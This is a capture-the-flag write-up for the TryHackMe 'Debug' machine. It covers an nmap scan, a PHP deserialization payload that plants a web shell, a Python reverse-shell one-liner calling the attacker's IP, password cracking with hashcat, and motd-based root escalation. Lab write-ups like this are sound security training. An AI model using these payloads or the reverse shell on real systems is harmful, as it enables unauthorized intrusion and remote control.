search
Page cover

Debug (PHP Deserialization, motd)

First, we need to enumerate using nmap.

╭─hnl@hnl ~/Desktop/ctf/tryhackme/debug  
╰─➤  cat nmap.log 
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-25 14:01 +0630
Nmap scan report for 10.10.75.117
Host is up (0.28s latency).
Not shown: 991 closed ports
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
|_  256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
80/tcp    open     http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1038/tcp  filtered mtqp
1095/tcp  filtered nicelink
1165/tcp  filtered qsm-gui
5811/tcp  filtered unknown
7920/tcp  filtered unknown
9575/tcp  filtered unknown
27356/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 587.40 seconds

hashtag
Port 80

HTTP port is open. You will see default apache page at http://10.10.75.117/. Let's dig deeper using gobuster.

In http://10.10.75.117/backup directory, we will see index.php.bak. Here is vulnerable source.

We can create exploit.php based on index.php.bak.

Puts this serialized string into the urlencode function.

The complete url will be http://10.10.75.117/index.php?debug=O%3A10%3A%22FormSubmit%22%3A2%3A%7Bs%3A9%3A%22form_file%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A7%3A%22message%22%3Bs%3A26%3A%22%3C%3Fphp+system%28%22whoami%22%29%3B+%3F%3E%22%3B%7D. View the result at http://10.10.75.117/shell.php.

Let's create a reverse shell.

Let's callback url with http://10.10.75.117/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.0.63",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'. And catch the reverse shell using netcat.

hashtag
User

Here is .htpasswd for james user.

Let's crack it using hashcat.

Let's connect to james user using password jamaica with ssh.

Read the user flag.

hashtag
Root

Here is a note to james user.

List the motd file location.

It can be the hint for rooting. We can modify header file to get root access.

And login back again. In netcat session, we got a reverse shell.

PreviousVulnNet: Internal (SMB, NFS, Redis, Port Forwarding)NextLockdown (SQLI, FileUpload, Cracking, Yara)

Last updated